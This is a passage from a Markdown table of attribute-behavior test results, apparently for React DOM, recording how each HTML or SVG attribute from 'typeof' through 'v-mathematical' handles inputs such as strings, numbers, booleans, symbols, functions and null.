string)`| (initial)| `<number: 1>` |\n| `type=(-1)`| (initial)| `<number: 1>` |\n| `type=(0)`| (initial)| `<number: 1>` |\n| `type=(integer)`| (initial)| `<number: 1>` |\n| `type=(NaN)`| (initial, warning)| `<number: 1>` |\n| `type=(float)`| (initial)| `<number: 1>` |\n| `type=(true)`| (initial, warning)| `<number: 1>` |\n| `type=(false)`| (initial, warning)| `<number: 1>` |\n| `type=(string 'true')`| (initial)| `<number: 1>` |\n| `type=(string 'false')`| (initial)| `<number: 1>` |\n| `type=(string 'on')`| (initial)| `<number: 1>` |\n| `type=(string 'off')`| (initial)| `<number: 1>` |\n| `type=(symbol)`| (initial, warning)| `<number: 1>` |\n| `type=(function)`| (initial, warning)| `<number: 1>` |\n| `type=(null)`| (initial)| `<number: 1>` |\n| `type=(undefined)`| (initial)| `<number: 1>` |\n\n## `typeof` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `typeof=(string)`| (changed)| `\"a string\"` |\n| `typeof=(empty string)`| (changed)| `<empty string>` |\n| `typeof=(array with string)`| (changed)| `\"string\"` |\n| `typeof=(empty array)`| (changed)| `<empty string>` |\n| `typeof=(object)`| (changed)| `\"result of toString()\"` |\n| `typeof=(numeric string)`| (changed)| `\"42\"` |\n| `typeof=(-1)`| (changed)| `\"-1\"` |\n| `typeof=(0)`| (changed)| `\"0\"` |\n| `typeof=(integer)`| (changed)| `\"1\"` |\n| `typeof=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `typeof=(float)`| (changed)| `\"99.99\"` |\n| `typeof=(true)`| (initial, warning)| `<null>` |\n| `typeof=(false)`| (initial, warning)| `<null>` |\n| `typeof=(string 'true')`| (changed)| `\"true\"` |\n| `typeof=(string 'false')`| (changed)| `\"false\"` |\n| `typeof=(string 'on')`| (changed)| `\"on\"` |\n| `typeof=(string 'off')`| (changed)| `\"off\"` |\n| `typeof=(symbol)`| (initial, warning)| `<null>` |\n| `typeof=(function)`| (initial, warning)| `<null>` |\n| `typeof=(null)`| (initial)| `<null>` |\n| `typeof=(undefined)`| (initial)| `<null>` |\n\n## `u1` (on `<hkern>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `u1=(string)`| (changed)| `\"a string\"` |\n| `u1=(empty string)`| (changed)| `<empty string>` |\n| `u1=(array with string)`| (changed)| `\"string\"` |\n| `u1=(empty array)`| (changed)| `<empty string>` |\n| `u1=(object)`| (changed)| `\"result of toString()\"` |\n| `u1=(numeric string)`| (changed)| `\"42\"` |\n| `u1=(-1)`| (changed)| `\"-1\"` |\n| `u1=(0)`| (changed)| `\"0\"` |\n| `u1=(integer)`| (changed)| `\"1\"` |\n| `u1=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `u1=(float)`| (changed)| `\"99.99\"` |\n| `u1=(true)`| (initial, warning)| `<null>` |\n| `u1=(false)`| (initial, warning)| `<null>` |\n| `u1=(string 'true')`| (changed)| `\"true\"` |\n| `u1=(string 'false')`| (changed)| `\"false\"` |\n| `u1=(string 'on')`| (changed)| `\"on\"` |\n| `u1=(string 'off')`| (changed)| `\"off\"` |\n| `u1=(symbol)`| (initial, warning)| `<null>` |\n| `u1=(function)`| (initial, warning)| `<null>` |\n| `u1=(null)`| (initial)| `<null>` |\n| `u1=(undefined)`| (initial)| `<null>` |\n\n## `u2` (on `<hkern>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `u2=(string)`| (changed)| `\"a string\"` |\n| `u2=(empty string)`| (changed)| `<empty string>` |\n| `u2=(array with string)`| (changed)| `\"string\"` |\n| `u2=(empty array)`| (changed)| `<empty string>` |\n| `u2=(object)`| (changed)| `\"result of toString()\"` |\n| `u2=(numeric string)`| (changed)| `\"42\"` |\n| `u2=(-1)`| (changed)| `\"-1\"` |\n| `u2=(0)`| (changed)| `\"0\"` |\n| `u2=(integer)`| (changed)| `\"1\"` |\n| `u2=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `u2=(float)`| (changed)| `\"99.99\"` |\n| `u2=(true)`| (initial, warning)| `<null>` |\n| `u2=(false)`| (initial, warning)| `<null>` |\n| `u2=(string 'true')`| (changed)| `\"true\"` |\n| `u2=(string 'false')`| (changed)| `\"false\"` |\n| `u2=(string 'on')`| (changed)| `\"on\"` |\n| `u2=(string 'off')`| (changed)| `\"off\"` |\n| `u2=(symbol)`| (initial, warning)| `<null>` |\n| `u2=(function)`| (initial, warning)| `<null>` |\n| `u2=(null)`| (initial)| `<null>` |\n| `u2=(undefined)`| (initial)| `<null>` |\n\n## `underline-position` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `underline-position=(string)`| (changed, warning)| `\"a string\"` |\n| `underline-position=(empty string)`| (changed, warning)| `<empty string>` |\n| `underline-position=(array with string)`| (changed, warning)| `\"string\"` |\n| `underline-position=(empty array)`| (changed, warning)| `<empty string>` |\n| `underline-position=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `underline-position=(numeric string)`| (changed, warning)| `\"42\"` |\n| `underline-position=(-1)`| (changed, warning)| `\"-1\"` |\n| `underline-position=(0)`| (changed, warning)| `\"0\"` |\n| `underline-position=(integer)`| (changed, warning)| `\"1\"` |\n| `underline-position=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `underline-position=(float)`| (changed, warning)| `\"99.99\"` |\n| `underline-position=(true)`| (initial, warning)| `<null>` |\n| `underline-position=(false)`| (initial, warning)| `<null>` |\n| `underline-position=(string 'true')`| (changed, warning)| `\"true\"` |\n| `underline-position=(string 'false')`| (changed, warning)| `\"false\"` |\n| `underline-position=(string 'on')`| (changed, warning)| `\"on\"` |\n| `underline-position=(string 'off')`| (changed, warning)| `\"off\"` |\n| `underline-position=(symbol)`| (initial, warning)| `<null>` |\n| `underline-position=(function)`| (initial, warning)| `<null>` |\n| `underline-position=(null)`| (initial, warning)| `<null>` |\n| `underline-position=(undefined)`| (initial, warning)| `<null>` |\n\n## `underline-thickness` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `underline-thickness=(string)`| (changed, warning)| `\"a string\"` |\n| `underline-thickness=(empty string)`| (changed, warning)| `<empty string>` |\n| `underline-thickness=(array with string)`| (changed, warning)| `\"string\"` |\n| `underline-thickness=(empty array)`| (changed, warning)| `<empty string>` |\n| `underline-thickness=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `underline-thickness=(numeric string)`| (changed, warning)| `\"42\"` |\n| `underline-thickness=(-1)`| (changed, warning)| `\"-1\"` |\n| `underline-thickness=(0)`| (changed, warning)| `\"0\"` |\n| `underline-thickness=(integer)`| (changed, warning)| `\"1\"` |\n| `underline-thickness=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `underline-thickness=(float)`| (changed, warning)| `\"99.99\"` |\n| `underline-thickness=(true)`| (initial, warning)| `<null>` |\n| `underline-thickness=(false)`| (initial, warning)| `<null>` |\n| `underline-thickness=(string 'true')`| (changed, warning)| `\"true\"` |\n| `underline-thickness=(string 'false')`| (changed, warning)| `\"false\"` |\n| `underline-thickness=(string 'on')`| (changed, warning)| `\"on\"` |\n| `underline-thickness=(string 'off')`| (changed, warning)| `\"off\"` |\n| `underline-thickness=(symbol)`| (initial, warning)| `<null>` |\n| `underline-thickness=(function)`| (initial, warning)| `<null>` |\n| `underline-thickness=(null)`| (initial, warning)| `<null>` |\n| `underline-thickness=(undefined)`| (initial, warning)| `<null>` |\n\n## `underlinePosition` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `underlinePosition=(string)`| (changed)| `\"a string\"` |\n| `underlinePosition=(empty string)`| (changed)| `<empty string>` |\n| `underlinePosition=(array with string)`| (changed)| `\"string\"` |\n| `underlinePosition=(empty array)`| (changed)| `<empty string>` |\n| `underlinePosition=(object)`| (changed)| `\"result of toString()\"` |\n| `underlinePosition=(numeric string)`| (changed)| `\"42\"` |\n| `underlinePosition=(-1)`| (changed)| `\"-1\"` |\n| `underlinePosition=(0)`| (changed)| `\"0\"` |\n| `underlinePosition=(integer)`| (changed)| `\"1\"` |\n| `underlinePosition=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `underlinePosition=(float)`| (changed)| `\"99.99\"` |\n| `underlinePosition=(true)`| (initial, warning)| `<null>` |\n| `underlinePosition=(false)`| (initial, warning)| `<null>` |\n| `underlinePosition=(string 'true')`| (changed)| `\"true\"` |\n| `underlinePosition=(string 'false')`| (changed)| `\"false\"` |\n| `underlinePosition=(string 'on')`| (changed)| `\"on\"` |\n| `underlinePosition=(string 'off')`| (changed)| `\"off\"` |\n| `underlinePosition=(symbol)`| (initial, warning)| `<null>` |\n| `underlinePosition=(function)`| (initial, warning)| `<null>` |\n| `underlinePosition=(null)`| (initial)| `<null>` |\n| `underlinePosition=(undefined)`| (initial)| `<null>` |\n\n## `underlineThickness` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `underlineThickness=(string)`| (changed)| `\"a string\"` |\n| `underlineThickness=(empty string)`| (changed)| `<empty string>` |\n| `underlineThickness=(array with string)`| (changed)| `\"string\"` |\n| `underlineThickness=(empty array)`| (changed)| `<empty string>` |\n| `underlineThickness=(object)`| (changed)| `\"result of toString()\"` |\n| `underlineThickness=(numeric string)`| (changed)| `\"42\"` |\n| `underlineThickness=(-1)`| (changed)| `\"-1\"` |\n| `underlineThickness=(0)`| (changed)| `\"0\"` |\n| `underlineThickness=(integer)`| (changed)| `\"1\"` |\n| `underlineThickness=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `underlineThickness=(float)`| (changed)| `\"99.99\"` |\n| `underlineThickness=(true)`| (initial, warning)| `<null>` |\n| `underlineThickness=(false)`| (initial, warning)| `<null>` |\n| `underlineThickness=(string 'true')`| (changed)| `\"true\"` |\n| `underlineThickness=(string 'false')`| (changed)| `\"false\"` |\n| `underlineThickness=(string 'on')`| (changed)| `\"on\"` |\n| `underlineThickness=(string 'off')`| (changed)| `\"off\"` |\n| `underlineThickness=(symbol)`| (initial, warning)| `<null>` |\n| `underlineThickness=(function)`| (initial, warning)| `<null>` |\n| `underlineThickness=(null)`| (initial)| `<null>` |\n| `underlineThickness=(undefined)`| (initial)| `<null>` |\n\n## `unicode` (on `<glyph>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `unicode=(string)`| (changed)| `\"a string\"` |\n| `unicode=(empty string)`| (changed)| `<empty string>` |\n| `unicode=(array with string)`| (changed)| `\"string\"` |\n| `unicode=(empty array)`| (changed)| `<empty string>` |\n| `unicode=(object)`| (changed)| `\"result of toString()\"` |\n| `unicode=(numeric string)`| (changed)| `\"42\"` |\n| `unicode=(-1)`| (changed)| `\"-1\"` |\n| `unicode=(0)`| (changed)| `\"0\"` |\n| `unicode=(integer)`| (changed)| `\"1\"` |\n| `unicode=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `unicode=(float)`| (changed)| `\"99.99\"` |\n| `unicode=(true)`| (initial, warning)| `<null>` |\n| `unicode=(false)`| (initial, warning)| `<null>` |\n| `unicode=(string 'true')`| (changed)| `\"true\"` |\n| `unicode=(string 'false')`| (changed)| `\"false\"` |\n| `unicode=(string 'on')`| (changed)| `\"on\"` |\n| `unicode=(string 'off')`| (changed)| `\"off\"` |\n| `unicode=(symbol)`| (initial, warning)| `<null>` |\n| `unicode=(function)`| (initial, warning)| `<null>` |\n| `unicode=(null)`| (initial)| `<null>` |\n| `unicode=(undefined)`| (initial)| `<null>` |\n\n## `unicode-bidi` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `unicode-bidi=(string)`| (changed, warning)| `\"a string\"` |\n| `unicode-bidi=(empty string)`| (changed, warning)| `<empty string>` |\n| `unicode-bidi=(array with string)`| (changed, warning)| `\"string\"` |\n| `unicode-bidi=(empty array)`| (changed, warning)| `<empty string>` |\n| `unicode-bidi=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `unicode-bidi=(numeric string)`| (changed, warning)| `\"42\"` |\n| `unicode-bidi=(-1)`| (changed, warning)| `\"-1\"` |\n| `unicode-bidi=(0)`| (changed, warning)| `\"0\"` |\n| `unicode-bidi=(integer)`| (changed, warning)| `\"1\"` |\n| `unicode-bidi=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `unicode-bidi=(float)`| (changed, warning)| `\"99.99\"` |\n| `unicode-bidi=(true)`| (initial, warning)| `<null>` |\n| `unicode-bidi=(false)`| (initial, warning)| `<null>` |\n| `unicode-bidi=(string 'true')`| (changed, warning)| `\"true\"` |\n| `unicode-bidi=(string 'false')`| (changed, warning)| `\"false\"` |\n| `unicode-bidi=(string 'on')`| (changed, warning)| `\"on\"` |\n| `unicode-bidi=(string 'off')`| (changed, warning)| `\"off\"` |\n| `unicode-bidi=(symbol)`| (initial, warning)| `<null>` |\n| `unicode-bidi=(function)`| (initial, warning)| `<null>` |\n| `unicode-bidi=(null)`| (initial, warning)| `<null>` |\n| `unicode-bidi=(undefined)`| (initial, warning)| `<null>` |\n\n## `unicode-range` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `unicode-range=(string)`| (changed, warning)| `\"a string\"` |\n| `unicode-range=(empty string)`| (changed, warning)| `<empty string>` |\n| `unicode-range=(array with string)`| (changed, warning)| `\"string\"` |\n| `unicode-range=(empty array)`| (changed, warning)| `<empty string>` |\n| `unicode-range=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `unicode-range=(numeric string)`| (changed, warning)| `\"42\"` |\n| `unicode-range=(-1)`| (changed, warning)| `\"-1\"` |\n| `unicode-range=(0)`| (changed, warning)| `\"0\"` |\n| `unicode-range=(integer)`| (changed, warning)| `\"1\"` |\n| `unicode-range=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `unicode-range=(float)`| (changed, warning)| `\"99.99\"` |\n| `unicode-range=(true)`| (initial, warning)| `<null>` |\n| `unicode-range=(false)`| (initial, warning)| `<null>` |\n| `unicode-range=(string 'true')`| (changed, warning)| `\"true\"` |\n| `unicode-range=(string 'false')`| (changed, warning)| `\"false\"` |\n| `unicode-range=(string 'on')`| (changed, warning)| `\"on\"` |\n| `unicode-range=(string 'off')`| (changed, warning)| `\"off\"` |\n| `unicode-range=(symbol)`| (initial, warning)| `<null>` |\n| `unicode-range=(function)`| (initial, warning)| `<null>` |\n| `unicode-range=(null)`| (initial, warning)| `<null>` |\n| `unicode-range=(undefined)`| (initial, warning)| `<null>` |\n\n## `unicodeBidi` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `unicodeBidi=(string)`| (changed)| `\"a string\"` |\n| `unicodeBidi=(empty string)`| (changed)| `<empty string>` |\n| `unicodeBidi=(array with string)`| (changed)| `\"string\"` |\n| `unicodeBidi=(empty array)`| (changed)| `<empty string>` |\n| `unicodeBidi=(object)`| (changed)| `\"result of toString()\"` |\n| `unicodeBidi=(numeric string)`| (changed)| `\"42\"` |\n| `unicodeBidi=(-1)`| (changed)| `\"-1\"` |\n| `unicodeBidi=(0)`| (changed)| `\"0\"` |\n| `unicodeBidi=(integer)`| (changed)| `\"1\"` |\n| `unicodeBidi=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `unicodeBidi=(float)`| (changed)| `\"99.99\"` |\n| `unicodeBidi=(true)`| (initial, warning)| `<null>` |\n| `unicodeBidi=(false)`| (initial, warning)| `<null>` |\n| `unicodeBidi=(string 'true')`| (changed)| `\"true\"` |\n| `unicodeBidi=(string 'false')`| (changed)| `\"false\"` |\n| `unicodeBidi=(string 'on')`| (changed)| `\"on\"` |\n| `unicodeBidi=(string 'off')`| (changed)| `\"off\"` |\n| `unicodeBidi=(symbol)`| (initial, warning)| `<null>` |\n| `unicodeBidi=(function)`| (initial, warning)| `<null>` |\n| `unicodeBidi=(null)`| (initial)| `<null>` |\n| `unicodeBidi=(undefined)`| (initial)| `<null>` |\n\n## `unicodeRange` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `unicodeRange=(string)`| (changed)| `\"a string\"` |\n| `unicodeRange=(empty string)`| (changed)| `<empty string>` |\n| `unicodeRange=(array with string)`| (changed)| `\"string\"` |\n| `unicodeRange=(empty array)`| (changed)| `<empty string>` |\n| `unicodeRange=(object)`| (changed)| `\"result of toString()\"` |\n| `unicodeRange=(numeric string)`| (changed)| `\"42\"` |\n| `unicodeRange=(-1)`| (changed)| `\"-1\"` |\n| `unicodeRange=(0)`| (changed)| `\"0\"` |\n| `unicodeRange=(integer)`| (changed)| `\"1\"` |\n| `unicodeRange=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `unicodeRange=(float)`| (changed)| `\"99.99\"` |\n| `unicodeRange=(true)`| (initial, warning)| `<null>` |\n| `unicodeRange=(false)`| (initial, warning)| `<null>` |\n| `unicodeRange=(string 'true')`| (changed)| `\"true\"` |\n| `unicodeRange=(string 'false')`| (changed)| `\"false\"` |\n| `unicodeRange=(string 'on')`| (changed)| `\"on\"` |\n| `unicodeRange=(string 'off')`| (changed)| `\"off\"` |\n| `unicodeRange=(symbol)`| (initial, warning)| `<null>` |\n| `unicodeRange=(function)`| (initial, warning)| `<null>` |\n| `unicodeRange=(null)`| (initial)| `<null>` |\n| `unicodeRange=(undefined)`| (initial)| `<null>` |\n\n## `units-per-em` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `units-per-em=(string)`| (changed, warning)| `\"a string\"` |\n| `units-per-em=(empty string)`| (changed, warning)| `<empty string>` |\n| `units-per-em=(array with string)`| (changed, warning)| `\"string\"` |\n| `units-per-em=(empty array)`| (changed, warning)| `<empty string>` |\n| `units-per-em=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `units-per-em=(numeric string)`| (changed, warning)| `\"42\"` |\n| `units-per-em=(-1)`| (changed, warning)| `\"-1\"` |\n| `units-per-em=(0)`| (changed, warning)| `\"0\"` |\n| `units-per-em=(integer)`| (changed, warning)| `\"1\"` |\n| `units-per-em=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `units-per-em=(float)`| (changed, warning)| `\"99.99\"` |\n| `units-per-em=(true)`| (initial, warning)| `<null>` |\n| `units-per-em=(false)`| (initial, warning)| `<null>` |\n| `units-per-em=(string 'true')`| (changed, warning)| `\"true\"` |\n| `units-per-em=(string 'false')`| (changed, warning)| `\"false\"` |\n| `units-per-em=(string 'on')`| (changed, warning)| `\"on\"` |\n| `units-per-em=(string 'off')`| (changed, warning)| `\"off\"` |\n| `units-per-em=(symbol)`| (initial, warning)| `<null>` |\n| `units-per-em=(function)`| (initial, warning)| `<null>` |\n| `units-per-em=(null)`| (initial, warning)| `<null>` |\n| `units-per-em=(undefined)`| (initial, warning)| `<null>` |\n\n## `unitsPerEm` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `unitsPerEm=(string)`| (initial)| `<null>` |\n| `unitsPerEm=(empty string)`| (initial)| `<null>` |\n| `unitsPerEm=(array with string)`| (initial)| `<null>` |\n| `unitsPerEm=(empty array)`| (initial)| `<null>` |\n| `unitsPerEm=(object)`| (initial)| `<null>` |\n| `unitsPerEm=(numeric string)`| (initial)| `<null>` |\n| `unitsPerEm=(-1)`| (initial)| `<null>` |\n| `unitsPerEm=(0)`| (initial)| `<null>` |\n| `unitsPerEm=(integer)`| (initial)| `<null>` |\n| `unitsPerEm=(NaN)`| (initial, warning)| `<null>` |\n| `unitsPerEm=(float)`| (initial)| `<null>` |\n| `unitsPerEm=(true)`| (initial, warning)| `<null>` |\n| `unitsPerEm=(false)`| (initial, warning)| `<null>` |\n| `unitsPerEm=(string 'true')`| (initial)| `<null>` |\n| `unitsPerEm=(string 'false')`| (initial)| `<null>` |\n| `unitsPerEm=(string 'on')`| (initial)| `<null>` |\n| `unitsPerEm=(string 'off')`| (initial)| `<null>` |\n| `unitsPerEm=(symbol)`| (initial, warning)| `<null>` |\n| `unitsPerEm=(function)`| (initial, warning)| `<null>` |\n| `unitsPerEm=(null)`| (initial)| `<null>` |\n| `unitsPerEm=(undefined)`| (initial)| `<null>` |\n\n## `unknown` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `unknown=(string)`| (changed)| `\"a string\"` |\n| `unknown=(empty string)`| (changed)| `<empty string>` |\n| `unknown=(array with string)`| (changed)| `\"string\"` |\n| `unknown=(empty array)`| (changed)| `<empty string>` |\n| `unknown=(object)`| (changed)| `\"result of toString()\"` |\n| `unknown=(numeric string)`| (changed)| `\"42\"` |\n| `unknown=(-1)`| (changed)| `\"-1\"` |\n| `unknown=(0)`| (changed)| `\"0\"` |\n| `unknown=(integer)`| (changed)| `\"1\"` |\n| `unknown=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `unknown=(float)`| (changed)| `\"99.99\"` |\n| `unknown=(true)`| (initial, warning)| `<null>` |\n| `unknown=(false)`| (initial, warning)| `<null>` |\n| `unknown=(string 'true')`| (changed)| `\"true\"` |\n| `unknown=(string 'false')`| (changed)| `\"false\"` |\n| `unknown=(string 'on')`| (changed)| `\"on\"` |\n| `unknown=(string 'off')`| (changed)| `\"off\"` |\n| `unknown=(symbol)`| (initial, warning)| `<null>` |\n| `unknown=(function)`| (initial, warning)| `<null>` |\n| `unknown=(null)`| (initial)| `<null>` |\n| `unknown=(undefined)`| (initial)| `<null>` |\n\n## `unselectable` (on `<span>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `unselectable=(string)`| (changed)| `\"on\"` |\n| `unselectable=(empty string)`| (changed)| `<empty string>` |\n| `unselectable=(array with string)`| (changed)| `\"on\"` |\n| `unselectable=(empty array)`| (changed)| `<empty string>` |\n| `unselectable=(object)`| (changed)| `\"result of toString()\"` |\n| `unselectable=(numeric string)`| (changed)| `\"42\"` |\n| `unselectable=(-1)`| (changed)| `\"-1\"` |\n| `unselectable=(0)`| (changed)| `\"0\"` |\n| `unselectable=(integer)`| (changed)| `\"1\"` |\n| `unselectable=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `unselectable=(float)`| (changed)| `\"99.99\"` |\n| `unselectable=(true)`| (initial, warning)| `<null>` |\n| `unselectable=(false)`| (initial, warning)| `<null>` |\n| `unselectable=(string 'true')`| (changed)| `\"true\"` |\n| `unselectable=(string 'false')`| (changed)| `\"false\"` |\n| `unselectable=(string 'on')`| (changed)| `\"on\"` |\n| `unselectable=(string 'off')`| (changed)| `\"off\"` |\n| `unselectable=(symbol)`| (initial, warning)| `<null>` |\n| `unselectable=(function)`| (initial, warning)| `<null>` |\n| `unselectable=(null)`| (initial)| `<null>` |\n| `unselectable=(undefined)`| (initial)| `<null>` |\n\n## `useMap` (on `<img>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `useMap=(string)`| (changed)| `\"a string\"` |\n| `useMap=(empty string)`| (initial)| `<empty string>` |\n| `useMap=(array with string)`| (changed)| `\"string\"` |\n| `useMap=(empty array)`| (initial)| `<empty string>` |\n| `useMap=(object)`| (changed)| `\"result of toString()\"` |\n| `useMap=(numeric string)`| (changed)| `\"42\"` |\n| `useMap=(-1)`| (changed)| `\"-1\"` |\n| `useMap=(0)`| (changed)| `\"0\"` |\n| `useMap=(integer)`| (changed)| `\"1\"` |\n| `useMap=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `useMap=(float)`| (changed)| `\"99.99\"` |\n| `useMap=(true)`| (initial, warning)| `<empty string>` |\n| `useMap=(false)`| (initial, warning)| `<empty string>` |\n| `useMap=(string 'true')`| (changed)| `\"true\"` |\n| `useMap=(string 'false')`| (changed)| `\"false\"` |\n| `useMap=(string 'on')`| (changed)| `\"on\"` |\n| `useMap=(string 'off')`| (changed)| `\"off\"` |\n| `useMap=(symbol)`| (initial, warning)| `<empty string>` |\n| `useMap=(function)`| (initial, warning)| `<empty string>` |\n| `useMap=(null)`| (initial)| `<empty string>` |\n| `useMap=(undefined)`| (initial)| `<empty string>` |\n\n## `v-alphabetic` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `v-alphabetic=(string)`| (changed, warning)| `\"a string\"` |\n| `v-alphabetic=(empty string)`| (changed, warning)| `<empty string>` |\n| `v-alphabetic=(array with string)`| (changed, warning)| `\"string\"` |\n| `v-alphabetic=(empty array)`| (changed, warning)| `<empty string>` |\n| `v-alphabetic=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `v-alphabetic=(numeric string)`| (changed, warning)| `\"42\"` |\n| `v-alphabetic=(-1)`| (changed, warning)| `\"-1\"` |\n| `v-alphabetic=(0)`| (changed, warning)| `\"0\"` |\n| `v-alphabetic=(integer)`| (changed, warning)| `\"1\"` |\n| `v-alphabetic=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `v-alphabetic=(float)`| (changed, warning)| `\"99.99\"` |\n| `v-alphabetic=(true)`| (initial, warning)| `<null>` |\n| `v-alphabetic=(false)`| (initial, warning)| `<null>` |\n| `v-alphabetic=(string 'true')`| (changed, warning)| `\"true\"` |\n| `v-alphabetic=(string 'false')`| (changed, warning)| `\"false\"` |\n| `v-alphabetic=(string 'on')`| (changed, warning)| `\"on\"` |\n| `v-alphabetic=(string 'off')`| (changed, warning)| `\"off\"` |\n| `v-alphabetic=(symbol)`| (initial, warning)| `<null>` |\n| `v-alphabetic=(function)`| (initial, warning)| `<null>` |\n| `v-alphabetic=(null)`| (initial, warning)| `<null>` |\n| `v-alphabetic=(undefined)`| (initial, warning)| `<null>` |\n\n## `v-hanging` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `v-hanging=(string)`| (changed, warning)| `\"a string\"` |\n| `v-hanging=(empty string)`| (changed, warning)| `<empty string>` |\n| `v-hanging=(array with string)`| (changed, warning)| `\"string\"` |\n| `v-hanging=(empty array)`| (changed, warning)| `<empty string>` |\n| `v-hanging=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `v-hanging=(numeric string)`| (changed, warning)| `\"42\"` |\n| `v-hanging=(-1)`| (changed, warning)| `\"-1\"` |\n| `v-hanging=(0)`| (changed, warning)| `\"0\"` |\n| `v-hanging=(integer)`| (changed, warning)| `\"1\"` |\n| `v-hanging=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `v-hanging=(float)`| (changed, warning)| `\"99.99\"` |\n| `v-hanging=(true)`| (initial, warning)| `<null>` |\n| `v-hanging=(false)`| (initial, warning)| `<null>` |\n| `v-hanging=(string 'true')`| (changed, warning)| `\"true\"` |\n| `v-hanging=(string 'false')`| (changed, warning)| `\"false\"` |\n| `v-hanging=(string 'on')`| (changed, warning)| `\"on\"` |\n| `v-hanging=(string 'off')`| (changed, warning)| `\"off\"` |\n| `v-hanging=(symbol)`| (initial, warning)| `<null>` |\n| `v-hanging=(function)`| (initial, warning)| `<null>` |\n| `v-hanging=(null)`| (initial, warning)| `<null>` |\n| `v-hanging=(undefined)`| (initial, warning)| `<null>` |\n\n## `v-ideographic` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `v-ideographic=(string)`| (changed, warning)| `\"a string\"` |\n| `v-ideographic=(empty string)`| (changed, warning)| `<empty string>` |\n| `v-ideographic=(array with string)`| (changed, warning)| `\"string\"` |\n| `v-ideographic=(empty array)`| (changed, warning)| `<empty string>` |\n| `v-ideographic=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `v-ideographic=(numeric string)`| (changed, warning)| `\"42\"` |\n| `v-ideographic=(-1)`| (changed, warning)| `\"-1\"` |\n| `v-ideographic=(0)`| (changed, warning)| `\"0\"` |\n| `v-ideographic=(integer)`| (changed, warning)| `\"1\"` |\n| `v-ideographic=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `v-ideographic=(float)`| (changed, warning)| `\"99.99\"` |\n| `v-ideographic=(true)`| (initial, warning)| `<null>` |\n| `v-ideographic=(false)`| (initial, warning)| `<null>` |\n| `v-ideographic=(string 'true')`| (changed, warning)| `\"true\"` |\n| `v-ideographic=(string 'false')`| (changed, warning)| `\"false\"` |\n| `v-ideographic=(string 'on')`| (changed, warning)| `\"on\"` |\n| `v-ideographic=(string 'off')`| (changed, warning)| `\"off\"` |\n| `v-ideographic=(symbol)`| (initial, warning)| `<null>` |\n| `v-ideographic=(function)`| (initial, warning)| `<null>` |\n| `v-ideographic=(null)`| (initial, warning)| `<null>` |\n| `v-ideographic=(undefined)`| (initial, warning)| `<null>` |\n\n## `v-mathematical` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `v-mathematical=(string)`| (changed, warning)| `\"a string\"` |\n| `v-mathematical=(empty string)`| (changed, warning)| `<empty string>` |\n| `v-mathematical=(array with string)`| (changed, warning)| `\"string\"` |\n| `v-mathematical=(empty array)`| (changed, warning)| `<empty string>` |\n| `v-mathematical=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `v-mathematical=(numeric string)`| (changed, warning)| `\"42\"` |\n| `v-mathematical=(-1)`| (changed, warning)| `\"-1\"` |\n| `v-mathematical=(0)`| (changed, warning)| `\"0\"` |\n| `v-mathematical=(integer)`| (changed, warning)| `\"1\"` |\n| `v-mathematical=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `v-mathematical=(float)`| (changed, warning)| `\"99.99\"` |\n| `v-mathematical=(true)`| (initial, warning)| `<null>` |\n| `v-mathematical=(false)`| (initial, warning)| `<null>` |\n| `v-mathematical=(string 'true')`| (changed, warning)| `\"true\"` |\n| `v-mathematical=(string 'false')`| (changed, warning)| 